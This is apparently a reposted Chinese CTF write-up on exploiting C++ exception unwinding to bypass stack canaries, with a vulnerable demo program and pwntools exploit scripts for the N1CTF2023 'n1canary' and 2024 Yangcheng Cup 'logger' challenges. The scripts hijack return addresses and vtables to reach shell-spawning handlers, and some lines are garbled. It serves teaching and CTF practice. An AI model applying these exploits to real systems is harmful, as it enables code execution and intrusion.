当前位置: 首页 > news >正文

深入研究异常处理机制

一、原理探究
C++异常处理
本节内容针对 Linux 下的 C++ 异常处理机制,重点在于研究如何在异常处理流程中利用溢出漏洞,所以不对异常处理及 unwind 的过程做详细分析,只做简单介绍

异常机制中主要的三个关键字:throw 抛出异常,try 包含异常模块, catch 捕捉抛出的异常,它们一起构成了由 “抛出->捕捉->回退” 等步骤组成的整套异常处理机制

当一个异常被抛出时,就会立即引发 C++ 的异常捕获机制。异常被抛出后如果在当前函数内没能被 catch,该异常就会沿着函数的调用链继续往上抛,在调用链上的每一个函数中尝试找到相应的 catch 并执行其代码块,直到走完整个调用链。如果最终还是没能找到相应的 catch,那么程序会调用 std::terminate(),这个函数默认是把程序 abort

其中,从程序抛出异常开始,沿着函数的调用链找相应的 catch 代码块的整个过程叫作栈回退 stack unwind

回到对 C++ 异常处理机制进行利用的话题,下面开始调试一个 demo 来加深对异常处理机制的理解,目的是去验证下列两个想法的可行性:

通过篡改 rbp 可以实现类似栈迁移的效果,来控制程序执行流 ROP
unwind 会检测在调用链上的函数里是否有 catch handler,要有能捕捉对应类型异常的 catch 块;通过劫持 ret 可以执行到目标函数的 catch 代码块,但是前提是要需要拥有合法的 rbp
demo 的源码如下

// exception.cpp
// g++ exception.cpp -o exc -no-pie -fPIC
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void backdoor()
{
try
{
printf(“We have never called this backdoor!”);
}
catch (const char *s)
{
printf(“[!] Backdoor has catched the exception: %s\n”, s);
system(“/bin/sh”);
}
}

class x
{
public:
char buf[0x10];
x(void)
{
// printf(“x:x() called!\n”);
}
~x(void)
{
// printf(“x:~x() called!\n”);
}
};

void input()
{
x tmp;
printf(“[!] enter your input:”);
fflush(stdout);
int count = 0x100;
size_t len = read(0, tmp.buf, count);
if (len > 0x10)
{
throw “Buffer overflow.”;
}
printf(“[+] input() return.\n”);
}

int main()
{
try
{
input();
printf(“--------------------------------------\n”);
throw 1;
}
catch (int x)
{
printf(“[-] Int: %d\n”, x);
}
catch (const char *s)
{
printf(“[-] String: %s\n”, s);
}
printf(“[+] main() return.\n”);
return 0;
}
调试分析第一种利用方式
上述源码编译出来的可执行文件的保护如下,开了 canary 保护

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

输入点 buf 距离 rbp 的距离是 0x30

在这里插入图片描述
所以测试输入长度分别为 0x31 和 0x39 的 PoC,发现会报不同的 crash,合理推测栈上的数据(例如 ret, rbp)会影响异常处理的流程

ve1kcon@wsl:~$ cyclic 48
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
ve1kcon@wsl:~$ cyclic 56
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa
能发现无论怎么样都不会输出程序里写在 input() 函数里的 [+] input() return.

这是因为异常处理时从 __cxa_throw() 开始,之后进行 unwind, cleanup, handler, 程序不会再执行发生异常所在函数的剩余部分,会沿着函数调用链往回找能处理对应异常的最近的函数,然后回退至此函数执行其 catch 块后跟着往下运行,途径的函数的剩余部分也不会再执行,自然不会执行到出现异常的函数的 throw 后面的语句,更不会执行到这些函数的 ret

这里就能抛出一个思考了:对 canary 的检测一般在最后的函数返回处,那么在执行异常处理流程时不就能跳过 stack_check_fail() 这个调用了嘛?

在这里插入图片描述
下面利用 poc1 = padding + ‘\x01’ 覆盖 rbp 值,可以将断点断在 call _read 指令后面一点的位置,这样就能断下来了,在这里观察到 rbp 的低一字节已被成功篡改为 ‘\x01’在这里插入图片描述
继续运行至程序报错的位置,最后在 0x401506 这条 ret 指令处出了问题,是错误的返回地址导致的,记录下这个指令地址,后续可以将断点打在这里,观察是否能成功控制程序流在这里插入图片描述
根据这个指令的地址,可以在 IDA 中定位到这是异常处理结束后最终的 ret 指令,所以可以确定是在执行 main 的 handler 时 crash,那么上述报错出现的原因其实就很明显了,是因为最后执行的 leave; ret 使得 ret 的地址变成了 [rbp+8],导致不合法的返回地址。这也意味着在 handler 里就能够完成栈迁移,所以可以尝试通过篡改 rbp 实现控制程序执行提前布置好的 ROP 链在这里插入图片描述
接下来尝试劫持程序去执行 GOT 表里的函数

.got.plt:0000000000404040 off_404040 dq offset fflush ; DATA XREF: _fflush+4↑r
.got.plt:0000000000404048 off_404048 dq offset read ; DATA XREF: _read+4↑r
.got.plt:0000000000404050 off_404050 dq offset puts ; DATA XREF: _puts+4↑r
.got.plt:0000000000404058 off_404058 dq offset __cxa_end_catch
利用 poc2 = padding + p64(0x404050-0x8),运行到上述断点处发现成功调用到了 puts 函数在这里插入图片描述
证明第一种利用方式可行

关于第一种利用方式的后续思考
但这种利用方式只适用于 “通过将 old_rbp 存储于栈中来保留现场” 的函数调用约定,以及需要出现异常的函数的 caller function 要存在处理对应异常的代码块,否则也会走到 terminate

为了调试上述说法,对 demo 作了修改,主要改动如下

void test()
{
x tmp;
printf(“[!] enter your input:”);
fflush(stdout);
int count = 0x100;
size_t len = read(0, tmp.buf, count);
if (len > 0x10)
{
throw “Buffer overflow.”;
}
printf(“[+] test() return.\n”);
}

void input()
{
test();
printf(“[+] input() return.\n”);
}
这回同样是使用 poc2,但 crash 了

在这里插入图片描述
对 demo 重新修改的部分如下

void input()
{
try
{
test();
}
catch (const char *s)
{
printf(“[-] String(From input): %s\n”, s);
}
printf(“[+] input() return.\n”);
}
复现成功,这次是在 input 的 handler 里被劫持,而非在 main 了在这里插入图片描述
但是噢,如果是通过打返回地址劫持到另外一个函数的异常处理模块,是没有 “出现异常的函数的 caller function 要存在处理对应异常的代码块” 这层限制的,但这也是后话了

调试分析第二种利用方式
由于调用链 __cxa_throw -> _Unwind_RaiseException,在 unwind 函数里会取运行时栈上的返回地址 callee ret 来对整个调用链进行检查,它会在链上的函数里搜索 catch handler,若所有函数中都无对应类型的 catch 块,就会调用 __teminate() 终止进程。

利用 poc3 = poc2 + ‘b’*8 调试一下后面的 unwind 函数的过程,一直运行至 _Unwind_RaiseException+463 发生了 crash,合理猜测是在这调用的函数里作的检测,所有可以观察下此时传参的情况,下断方式是 b *(&_Unwind_RaiseException+463)在这里插入图片描述
这个地方循环执行了几次

第一次,rdx -> 0x4000000000000000在这里插入图片描述
第二次,rdx -> 0x4013a7 (input()+162)在这里插入图片描述
第三次,rdx -> 0x6262626262626262 (‘bbbbbbbb’)在这里插入图片描述
再琢磨下异常处理机制,就能够发现另外一个利用点,就是假如函数A内有能够处理对应异常的 catch 块,是否可以通过影响运行时栈的函数调用链,即更改某 callee function ret 地址,从而能够成功执行到函数A的 handler 呢

下面尝试通过直接劫持 input() 函数的 ret, 可以发现在源码中有定义 backdoor() 函数,但程序中并没有一处存在对该后门函数的引用,利用 poc4 = poc2 + p64(0x401292+1) 尝试触发后门

这里将返回地址填充成了 backdoor() 函数里 try 代码块里的地址,它是一个范围,经测试能够成功利用的是一个左开右不确定的区间(x)

.text:0000000000401283 lea rax, format ; “We have never called this backdoor!”
.text:000000000040128A mov rdi, rax ; format
.text:000000000040128D mov eax, 0
.text:0000000000401292 ; try {
.text:0000000000401292 call _printf
.text:0000000000401292 ; } // starts at 401292
.text:0000000000401297 jmp short loc_4012FF
可以看见程序执行了后门函数的异常处理模块,复现成功,成功执行到了一个从未引用过的函数,而且程序从始至终都是开了 canary 保护的,这直接造成的栈溢出却能绕过 stack_check_fail() 这个函数对栈进行检测在这里插入图片描述
exp 如下

from pwn import *
context(os=‘linux’, arch=‘amd64’, log_level=‘debug’)
context.terminal = [“tmux”, “splitw”, “-h”]
pwnfile = ‘./exc’
p = process(pwnfile)

def debug(content=None):
if content is None:
gdb.attach§
pause()
else:
gdb.attach(p, content)
pause()

def exp():
# debug(‘b *0x401371’) # call _read
# b __cxa_throw@plt
# b *0x401506 # handler ret
# b *(&_Unwind_RaiseException+463) # check ret
test = ‘a’*5
padding = ‘a’*0x30
# poc = padding + ‘\n’
poc1 = padding + ‘\x01’
poc2 = padding + p64(0x404050-0x8)
poc3 = poc2 + ‘b’*8
poc4 = poc2 + p64(0x401292+1)
p.sendafter(‘input:’, poc4)

exp()
p.interactive()
二、N1CTF2023 - n1canary
简要分析
程序保护如下

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

这是一道非常具有迷惑性的题,大致意思是:出题人自行实现了一个 canary,并将它布置在系统 canary 上面 0x10 的地方,但所有 canary 相关的检测其实都是绕不过的,漏洞点是 launch() 函数处的栈溢出,触发点是 raise() 函数处的异常抛出,异常未能正确被捕获并处理,最终是能够避开对栈上 canary 的验证并利用析构函数 ROP

程序流分析
main() 函数逻辑如下

int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 v4; // rax
_QWORD v6[3]; // [rsp+0h] [rbp-18h] BYREF

v6[1] = __readfsqword(0x28u);
setbuf(stdin, 0LL, envp);
setbuf(stdout, 0LL, v3);
init_canary(); // canary init
std::make_unique((__int64)v6); // v6 -> vtable for BOFApp+16 (0x4ed510)
v4 = std::unique_ptr::operator->((__int64)v6); // v4 = v6
(
(void (__fastcall **)(__int64))(*(_QWORD *)v4 + 16LL))(v4); // call 0x403552 (BOFApp::launch())
std::unique_ptr::~unique_ptr((__int64)v6);
return 0;
}
初始化 sys_canary 并读取用户输入的64个字节作为 user_canary,用来生成自定义 canary,第一个输入点的 user_canary 是往 .bss 段上写的

__int64 init_canary(void)
{
if ( getrandom(&sys_canary, 64LL, 0LL) != 64 )
raise(“canary init error”);
puts(“To increase entropy, give me your canary”);
return readall<unsigned long long [8]>(&user_canary);
}

__int64 __fastcall ProtectedBuffer<64ul>::getCanary(unsigned __int64 a1)
{
return user_canary[(a1 >> 4) & 7] ^ sys_canary[(a1 >> 4) & 7];
}
这段代码实现了 BOFApp 类的构造函数,首先调用基类构造函数实现了 BOFApp 对象基类部分的初始化,然后将 BOFApp 对象的虚函数表指针设置为 off_4ED510,使得对象能够正确调用其虚函数。通过调试发现,赋值语句执行前 this -> vtable for UnsafeApp+16,执行后 this -> vtable for BOFApp+16

void __fastcall BOFApp::BOFApp(BOFApp *this)
{
UnsafeApp::UnsafeApp(this);
*(_QWORD *)this = off_4ED510;
}
创建一个 BOFApp 类的实例,然后调用 BOFApp 的构造函数初始化对象,跟进后面那个函数发现进行了 *a1 = v1 的操作

__int64 __fastcall std::make_unique(__int64 a1)
{
BOFApp *v1; // rbx

v1 = (BOFApp *)operator new(8uLL);
*(_QWORD *)v1 = 0LL;
BOFApp::BOFApp(v1);
std::unique_ptr::unique_ptr<std::default_delete,void>(a1, v1);
return a1;
}
执行完 std::make_unique((__int64)v6) 后,栈变量 v6 被重新赋值

在这里插入图片描述
于是接下来调用的是 BOFApp::launch() 函数

pwndbg> x/20gx 0x4ed510+0x10
0x4ed520 <vtable for BOFApp+32>: 0x0000000000403552 0x0000000000000000
在 IDA 里计算也是一样的,执行 ((void (__fastcall **)(__int64))((_QWORD *)v4 + 0x10LL))(v4); 语句,即 call *(0x4ED510+0x10)

.data.rel.ro:00000000004ED510 off_4ED510 dq offset _ZN6BOFAppD2Ev
.data.rel.ro:00000000004ED510 ; DATA XREF: BOFApp::BOFApp(void)+16↑o
.data.rel.ro:00000000004ED510 ; BOFApp::~BOFApp()+9↑o
.data.rel.ro:00000000004ED510 ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED518 dq offset _ZN6BOFAppD0Ev ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED520 dq offset _ZN6BOFApp6launchEv ; BOFApp::launch(void)
最后是对象的析构函数,里面要重点关注的函数的路径是 std::unique_ptr::~unique_ptr() --> std::default_delete::operator()(BOFApp*),这里存在函数指针调用,这意味着只需要控制 a2 的值就能控制程序流

__int64 __fastcall std::default_delete::operator()(__int64 a1, __int64 a2)
{
__int64 result; // rax

result = a2;
if ( a2 )
return ((__int64 (__fastcall **)(__int64))((_QWORD *)a2 + 8LL))(a2);
return result;
}
通过逆向分析和调试可知参数 a2 与前面提到的栈变量 v6 有关,所以将断点打在 0x40340D,正常输入,调试一下看传参情况

在这里插入图片描述
查看虚函数表指针 +0x8 位置处指向什么函数,0x4038b8

在这里插入图片描述
再把断点打在 0x403909,看到这里确实调用到了上述函数
在这里插入图片描述

漏洞点分析&跟踪调用链
第二个输入点存在栈溢出,调用链是 BOFApp::launch(void) --> ProtectedBuffer<64ul>::mut<BOFApp::launch(void)::{lambda(char *)#1}>(BOFApp::launch(void)::{lambda(char *)#1} const&) --> BOFApp::launch(void)::{lambda(char *)#1}::operator()(char *)

__int64 __fastcall BOFApp::launch(void)::{lambda(char *)#1}::operator()(
__int64 a1,
__int64 a2,
int a3,
int a4,
int a5,
int a6)
{
return _isoc23_scanf((unsigned int)“%[^\n]”, a2, a3, a4, a5, a6, a2, a1);
}
下列是 GPT 的解释

_isoc23_scanf 根据格式字符串读取输入。格式字符串 “%[^\n]” 表示读取所有非换行符的字符,直到遇到换行符为止。这样写其实就相当于 c 的 gets() 了。
输入存储:将读取的输入存储在 a2 指向的缓冲区中。
a3, a4, a5, a6 是额外参数,可能用于其他目的。
观察下这个 _isoc23_scanf() 函数,断点打在 0x403547 处观察数据写入的位置
在这里插入图片描述

计算输入点与目标指针的距离为 0x70

在这里插入图片描述
所以可以利用上述栈溢出去修改自定义 canary,来触发异常,栈回退避开对自定义 canary 和系统 canary 的检测,最后调用到析构函数

这样下来,思路就理清楚了,在 user_canary 处伪造虚函数表指向后门函数,然后利用溢出修改存储在栈上的 BOFApp 对象的虚函数表指针,即变量 v6,在此过程中自定义 canary 一定会被篡改,程序将会在 raise() 函数里抛出异常,这里是漏洞的触发点,调用链如下
BOFApp::launch(void) --> ProtectedBuffer<64ul>::mut<BOFApp::launch(void)::{lambda(char *)#1}>(BOFApp::launch(void)::{lambda(char )#1} const&) --> ProtectedBuffer<64ul>::check(void) --> raise(char const)

bool __fastcall ProtectedBuffer<64ul>::check(unsigned __int64 a1)
{
__int64 v1; // rbx
bool result; // al

v1 = (_QWORD )(a1 + 0x48);
result = v1 != ProtectedBuffer<64ul>::getCanary(a1);
if ( result )
raise("
* stack smash detected ***");
return result;
}

void __fastcall __noreturn raise(const char *a1)
{
std::runtime_error *exception; // rbx

puts(a1);
exception = (std::runtime_error *)_cxa_allocate_exception(0x10uLL);
std::runtime_error::runtime_error(exception, a1);
_cxa_throw(exception, (struct type_info *)&`typeinfo for’std::runtime_error, std::runtime_error::~runtime_error);
}
异常处理流程最终调用到的析构函数处存在指针调用,但此时指针已被我们提前利用溢出数据控好了,造成任意代码执行

可以直接动调一下 raise() 函数内部,然后再看看函数返回哪里呢。可以在一些地方下断点调试看看,比如 0x403291 处的抛出异常,0x403432 处的调用析构函数,最后在 0x4038fc 出现 crash,原因是不合法的 RAX,它的值是 BOFApp 类对象指针 v6,这是可以利用溢出写到那的,所以是可控的,继续往下看后面的汇编,会发现只要控了 RAX 就能够控到 RDX,在最后的 call rdx; 处便能造成任意代码执行在这里插入图片描述
由于 user_canary 可控,可以尝试在这里伪造虚函数表并将指针劫持到这,这是构造好的 exp 运行到此处时的参数情况在这里插入图片描述
成功执行到后门函数在这里插入图片描述
关于本题的其他思考
另外提一嘴,上面提到了避开 canary 检测执行到析构函数,笔者是这样理解的:在程序正常运行时应该是在执行完 launch() 函数后执行析构函数,但在 raise() 函数里却有异常被抛出,而且回溯了整条函数调用链,包括 raise() 函数本身,都没看见有能处理此异常的 catch 代码块,合理猜测最终将会由 handler 执行析构函数,在此过程中自然也绕过了程序自身的 __stack_chk_fail_local 检测

其实在创建对象的函数里,创建对象时会有构造函数,函数返回处会有析构函数。但当该函数运行到一半就抛出了异常时,若在当前函数内不能正常捕捉异常,那这个函数剩下的部分便不会再被执行到了,自然也不会运行到函数返回处的那个析构函数。但是程序依旧是需要去运行析构函数销毁对象的,达到释放资源的目的,这种情况下应该是在 handler 中调用到析构函数的

漏洞利用
最终的 exp 如下,还有一点要注意的是,中途覆盖到的函数返回地址是不能乱填的,具体原因详见前面的 “原理探究”,与 unwind() 函数里的检测有关,所以 ret 填回原来的 0x403407

from pwn import *
context(os=‘linux’, arch=‘amd64’, log_level=‘debug’)
context.terminal = [“tmux”, “splitw”, “-h”]
pwnfile = ‘./n1canary’
p = process(pwnfile)

def debug(content=None):
if content is None:
gdb.attach§
pause()
else:
gdb.attach(p, content)
pause()

def exp():
# debug(‘b *0x403547’)
# b *0x40340D # Destructor
# b *0x403909 # pointer call
# b *0x403291 # raise->throw
# b *0x403432 # <main+146> call std::unique_ptr<BOFApp, std::default_delete >::~unique_ptr()
# b *0x4038fc
backdoor = 0x403387
user_canary = 0x4F4AA0
payload = p64(user_canary+8) + p64(backdoor)*2
payload = payload.ljust(0x40, ‘a’)
p.sendafter(‘canary\n’, payload)

payload = 'a'*(0x70-0x8)
payload += p64(0x403407)    # ret
# payload += 'a'*(0x8)
payload += p64(user_canary) # BOFApp *v6
# p.sendlineafter(' to pwn :)\n', payload)

exp()
p.interactive()
成功劫持到后门,后门命令执行了 /readflag

在这里插入图片描述
三、2024年”羊城杯“粤港澳大湾区网络安全大赛 - logger
来自出题人的碎碎念
笔者作为 “2024羊城杯” PWN 方向出题人,自然要顺带唠一唠这道自己出的题目,虽谈不上巧妙(水平有限),但也有不少师傅反馈说受益匪浅

这道题从整体上来看算是中等难度,属于一道机制题,若是将上面的知识都了解透彻后,会做得很顺畅

由于从现在网上公开的文章里,能看到很多师傅都对这道题做了详细的分析,所以笔者主要讲点有意思的地方,不至于让读了文章的师傅空手而归,打算结合源码(上帝视角 XD)和逆向分析的效果对这道题进行剖析

题目分析&漏洞分析
首先这道题的创新点在于对抛出异常语句的篡改,最终通过溢出漏洞劫持到有后门的处理块 getshell

细心的师傅可能一下就能发现,trace 功能的实现里存在数组 oob 漏洞,毕竟这个 <= 怎么看都显得十分拙劣在这里插入图片描述
那上述越界能起到什么作用呢?byte_404020[] 数据的大小是 0x80,若能写入九次(0~8) 0x10 大小的数据,恰好能改掉下面 src[] 数组,这个数组存放了一个字符串 Buffer Overflow

在这里插入图片描述
结合源码来看,这个字符串的作用是:在检测到溢出的时抛出 Buffer Overflow 字符串,而正常来说是由下面的 catch 块来处理这个异常,它接受的是 const char *s 类型的异常在这里插入图片描述
warn 函数里存在大量的溢出写,紧随其后的是检查 read 的返回值(实际写入的字节数),那其实就在通过对 v0 的检测来判断是否有栈溢出了,所以在检测到存在溢出风险时会执行 if 模块,抛出异常在这里插入图片描述
然后被抛出的异常字符串就会被上面提到的 catch 块处理,效果是输出报错信息 [-] An exception of type String variable “Buffer Overflow” was caught…

在这里插入图片描述
但是假如说若能够劫持到别的 catch 块进行处理呢?笔者预置了一个后门函数,其 catch (const char *s) 也能够捕获字符串类型的异常,劫持到这里即可,源码如下在这里插入图片描述
后门的 try 块地址是 0x401BC2,在下面有对 _system 的调用在这里插入图片描述
比较有意思的是 IDA 似乎对异常处理 catch 模块的解析有问题,可见对 strHandler() 函数的反编译效果如下,可以对比上面提供的源码

所以解题时只能够查看对 _system 函数的交叉引用,然后定位到具体位置后看汇编进行分析了

在这里插入图片描述
漏洞利用
梳理完毕,现在思路明确了,先是通过数组越界漏洞劫持字符串为 /bin/sh\x00,然后通过溢出漏洞劫持到后门 catch 进行异常处理,即 0x401BC2+1 的位置,最终执行到 system(/bin/sh)

exp 如下

from pwn import *
context(os=‘linux’, arch=‘amd64’, log_level=‘debug’)
context.terminal = [“tmux”, “splitw”, “-h”]
pwnfile = ‘./pwn’
p = process(pwnfile)

p = remote(‘’, )

def debug(content=None):
if content is None:
gdb.attach§
pause()
else:
gdb.attach(p, content)
pause()

def menu(index):
p.sendlineafter(‘chocie:’, str(index))

def trace(content=‘a’, judge=‘n’):
menu(1)
p.sendlineafter('here: ', content)
p.sendlineafter('records? ', judge)

def exp():
# debug(‘b *KaTeX parse error: Expected 'EOF', got '#' at position 31: …) #̲ call _read …rebase(0x2582)’)
# b __cxa_throw@plt

# payload = 'a'
for i in range(7):trace()
trace('a'*0x10,'n')
payload = '/bin/sh;'
trace(payload)menu(2)
payload = 'a'*0x70
payload += p64(0X404300)
payload += p64(0x401BC2+1)
p.sendafter('Type your message here plz: ', payload)

exp()
p.interactive()

相关文章:

深入研究异常处理机制

一、原理探究 C异常处理 本节内容针对 Linux 下的 C 异常处理机制&#xff0c;重点在于研究如何在异常处理流程中利用溢出漏洞&#xff0c;所以不对异常处理及 unwind 的过程做详细分析&#xff0c;只做简单介绍 异常机制中主要的三个关键字&#xff1a;throw 抛出异常&#x…...

【memgpt】letta 课程4:基于latta框架构建MemGpt代理并与之交互

Lab 3: Building Agents with memory 基于latta框架构建MemGpt代理并与之交互理解代理状态,例如作为系统提示符、工具和agent的内存查看和编辑代理存档内存MemGPT 代理是有状态的 agents的设计思路 每个步骤都要定义代理行为 Letta agents persist information over time and…...

讯飞智作 AI 配音技术浅析(二):深度学习与神经网络

讯飞智作 AI 配音技术依赖于深度学习与神经网络&#xff0c;特别是 Tacotron、WaveNet 和 Transformer-TTS 模型。这些模型通过复杂的神经网络架构和数学公式&#xff0c;实现了从文本到自然语音的高效转换。 一、Tacotron 模型 Tacotron 是一种端到端的语音合成模型&#xff…...

基于单片机的超声波液位检测系统(论文+源码)

1总体设计 本课题为基于单片机的超声波液位检测系统的设计&#xff0c;系统的结构框图如图2.1所示。其中包括了按键模块&#xff0c;温度检测模块&#xff0c;超声波液位检测模块&#xff0c;显示模块&#xff0c;蜂鸣器等器件设备。其中&#xff0c;采用STC89C52单片机作为主控…...

Autogen_core: test_code_executor.py

目录 代码代码解释 代码 import textwrapimport pytest from autogen_core.code_executor import (Alias,FunctionWithRequirements,FunctionWithRequirementsStr,ImportFromModule, ) from autogen_core.code_executor._func_with_reqs import build_python_functions_file f…...

从0开始使用面对对象C语言搭建一个基于OLED的图形显示框架

目录 前言 环境介绍 代码与动机 架构设计&#xff0c;优缺点 博客系列指引 前言 笔者前段时间花费了一周&#xff0c;整理了一下自从TM1637开始打算的&#xff0c;使用OLED来搭建一个通用的显示库的一个工程。笔者的OLED库已经开源到Github上了&#xff0c;地址在&#xf…...

Java实现.env文件读取敏感数据

文章目录 1.common-env-starter模块1.目录结构2.DotenvEnvironmentPostProcessor.java 在${xxx}解析之前执行&#xff0c;提前读取配置3.EnvProperties.java 这里的path只是为了代码提示4.EnvAutoConfiguration.java Env模块自动配置类5.spring.factories 自动配置和注册Enviro…...

Go反射指南

概念&#xff1a; 官方对此有个非常简明的介绍&#xff0c;两句话耐人寻味&#xff1a; 反射提供一种让程序检查自身结构的能力反射是困惑的源泉 第1条&#xff0c;再精确点的描述是“反射是一种检查interface变量的底层类型和值的机制”。 第2条&#xff0c;很有喜感的自嘲…...

Fullcalendar @fullcalendar/react 样式错乱丢失问题和导致页面卡顿崩溃问题

问题描述&#xff1a; 我使用 fullcalendar的react版本时&#xff0c;出现了一个诡异的问题&#xff0c;当我切换到 一个iframe页面时&#xff08;整个页面是一个iframe嵌入的&#xff09;&#xff0c;再切换回来日历的样式丢失了&#xff01;不仅丢失了样式还导致页面崩溃了&…...

【电工基础】4.低压电器元件,漏电保护器,熔断器,中间继电器

一。漏电保护器 1.使用区域 我们在家用总开关上使用空气开关&#xff08;断路器&#xff09;&#xff0c;其余的厨房卧室为漏电保护器。 2.漏电保护器的简介 1.漏电:就是流入的电流和流出的电流不等&#xff0c;意味着电路回路中还有其它分支&#xff0c;可能是电流通过人体进…...

有限元分析学习——Anasys Workbanch第一阶段笔记梳理

第一阶段笔记主要源自于哔哩哔哩《ANSYS-workbench 有限元分析应用基础教程》 张晔 主要内容导图&#xff1a; 笔记导航如下&#xff1a; Anasys Workbanch第一阶段笔记(1)基本信息与结果解读_有限元分析变形比例-CSDN博客 Anasys Workbanch第一阶段笔记(2)网格单元与应力奇…...

C++中常用的十大排序方法之1——冒泡排序

成长路上不孤单&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a; 【&#x1f60a;///计算机爱好者&#x1f60a;///持续分享所学&#x1f60a;///如有需要欢迎收藏转发///&#x1f60a;】 今日分享关于C中常用的排序方法之——冒泡排序的相关…...

vscode+WSL2(ubuntu22.04)+pytorch+conda+cuda+cudnn安装系列

最近在家过年闲的没事&#xff0c;于是研究起深度学习开发工具链的配置和安装&#xff0c;之前欲与天公试比高&#xff0c;尝试在win上用vscodecuda11.6vs2019的cl编译器搭建cuda c编程环境&#xff0c;最后惨败&#xff0c;沦为笑柄&#xff0c;痛定思痛&#xff0c;这次直接和…...

手撕Diffusion系列 - 第十一期 - lora微调 - 基于Stable Diffusion(代码)

手撕Diffusion系列 - 第十一期 - lora微调 - 基于Stable Diffusion&#xff08;代码&#xff09; 目录 手撕Diffusion系列 - 第十一期 - lora微调 - 基于Stable Diffusion&#xff08;代码&#xff09;Stable Diffusion 原理图Stable Diffusion的原理解释Stable Diffusion 和Di…...

【Block总结】OutlookAttention注意力,捕捉细节和局部特征|即插即用

论文信息 标题: VOLO: Vision Outlooker for Visual Recognition作者: Li Yuan, Qibin Hou, Zihang Jiang, Jiashi Feng, Shuicheng Yan代码链接: https://github.com/sail-sg/volo论文链接: https://arxiv.org/pdf/2106.13112 创新点 前景注意力机制: VOLO引入了一种称为“…...

网络攻防实战指北专栏讲解大纲与网络安全法

专栏 本专栏为网络攻防实战指北&#xff0c;大纲如下所示 进度&#xff1a;目前已更完准备篇、HTML基础 计划&#xff1a;所谓基础不牢&#xff0c;地动山摇。所以下一步将持续更新基础篇内容 讲解信息安全时&#xff0c;结合《中华人民共和国网络安全法》&#xff08;以下简…...

【已解决】windows7虚拟机安装VMtools频繁报错

为了在虚拟机VMware中安装win7&#xff0c;题主先在网上下载了windows7 professional版本的镜像&#xff0c;在vmware中安装vmtools时报错&#xff0c;信息如下 &#xff08;安装程序无法继续&#xff0c;本程序需要您将此虚拟机上安装的操作系统更新到SP1&#xff09; 然后就…...

蓝桥杯模拟算法:多项式输出

P1067 [NOIP2009 普及组] 多项式输出 - 洛谷 | 计算机科学教育新生态 这道题是一道模拟题&#xff0c;我们需要分情况讨论&#xff0c;我们需要做一下分类讨论 #include <iostream> #include <cstdlib> using namespace std;int main() {int n;cin >> n;for…...

冲刺蓝桥杯之速通vector!!!!!

文章目录 知识点创建增删查改 习题1习题2习题3习题4&#xff1a;习题5&#xff1a; 知识点 C的STL提供已经封装好的容器vector&#xff0c;也可叫做可变长的数组&#xff0c;vector底层就是自动扩容的顺序表&#xff0c;其中的增删查改已经封装好 创建 const int N30; vecto…...

知识管理平台在数字经济时代推动企业智慧决策与知识赋能的路径分析

内容概要 在数字经济时代&#xff0c;知识管理平台被视为企业智慧决策与知识赋能的关键工具。其核心作用在于通过高效地整合、存储和分发企业内部的知识资源&#xff0c;促进信息的透明化与便捷化&#xff0c;使得决策者能够在瞬息万变的市场环境中迅速获取所需信息。这不仅提…...

进程地址空间(比特课总结)

一、进程地址空间 1. 环境变量 1 &#xff09;⽤户级环境变量与系统级环境变量 全局属性&#xff1a;环境变量具有全局属性&#xff0c;会被⼦进程继承。例如当bash启动⼦进程时&#xff0c;环 境变量会⾃动传递给⼦进程。 本地变量限制&#xff1a;本地变量只在当前进程(ba…...

DockerHub与私有镜像仓库在容器化中的应用与管理

哈喽&#xff0c;大家好&#xff0c;我是左手python&#xff01; Docker Hub的应用与管理 Docker Hub的基本概念与使用方法 Docker Hub是Docker官方提供的一个公共镜像仓库&#xff0c;用户可以在其中找到各种操作系统、软件和应用的镜像。开发者可以通过Docker Hub轻松获取所…...

STM32+rt-thread判断是否联网

一、根据NETDEV_FLAG_INTERNET_UP位判断 static bool is_conncected(void) {struct netdev *dev RT_NULL;dev netdev_get_first_by_flags(NETDEV_FLAG_INTERNET_UP);if (dev RT_NULL){printf("wait netdev internet up...");return false;}else{printf("loc…...

Frozen-Flask :将 Flask 应用“冻结”为静态文件

Frozen-Flask 是一个用于将 Flask 应用“冻结”为静态文件的 Python 扩展。它的核心用途是&#xff1a;将一个 Flask Web 应用生成成纯静态 HTML 文件&#xff0c;从而可以部署到静态网站托管服务上&#xff0c;如 GitHub Pages、Netlify 或任何支持静态文件的网站服务器。 &am…...

ESP32 I2S音频总线学习笔记(四): INMP441采集音频并实时播放

简介 前面两期文章我们介绍了I2S的读取和写入&#xff0c;一个是通过INMP441麦克风模块采集音频&#xff0c;一个是通过PCM5102A模块播放音频&#xff0c;那如果我们将两者结合起来&#xff0c;将麦克风采集到的音频通过PCM5102A播放&#xff0c;是不是就可以做一个扩音器了呢…...

新能源汽车智慧充电桩管理方案:新能源充电桩散热问题及消防安全监管方案

随着新能源汽车的快速普及&#xff0c;充电桩作为核心配套设施&#xff0c;其安全性与可靠性备受关注。然而&#xff0c;在高温、高负荷运行环境下&#xff0c;充电桩的散热问题与消防安全隐患日益凸显&#xff0c;成为制约行业发展的关键瓶颈。 如何通过智慧化管理手段优化散…...

GitHub 趋势日报 (2025年06月08日)

&#x1f4ca; 由 TrendForge 系统生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日报中的项目描述已自动翻译为中文 &#x1f4c8; 今日获星趋势图 今日获星趋势图 884 cognee 566 dify 414 HumanSystemOptimization 414 omni-tools 321 note-gen …...

涂鸦T5AI手搓语音、emoji、otto机器人从入门到实战

“&#x1f916;手搓TuyaAI语音指令 &#x1f60d;秒变表情包大师&#xff0c;让萌系Otto机器人&#x1f525;玩出智能新花样&#xff01;开整&#xff01;” &#x1f916; Otto机器人 → 直接点明主体 手搓TuyaAI语音 → 强调 自主编程/自定义 语音控制&#xff08;TuyaAI…...

CMake 从 GitHub 下载第三方库并使用

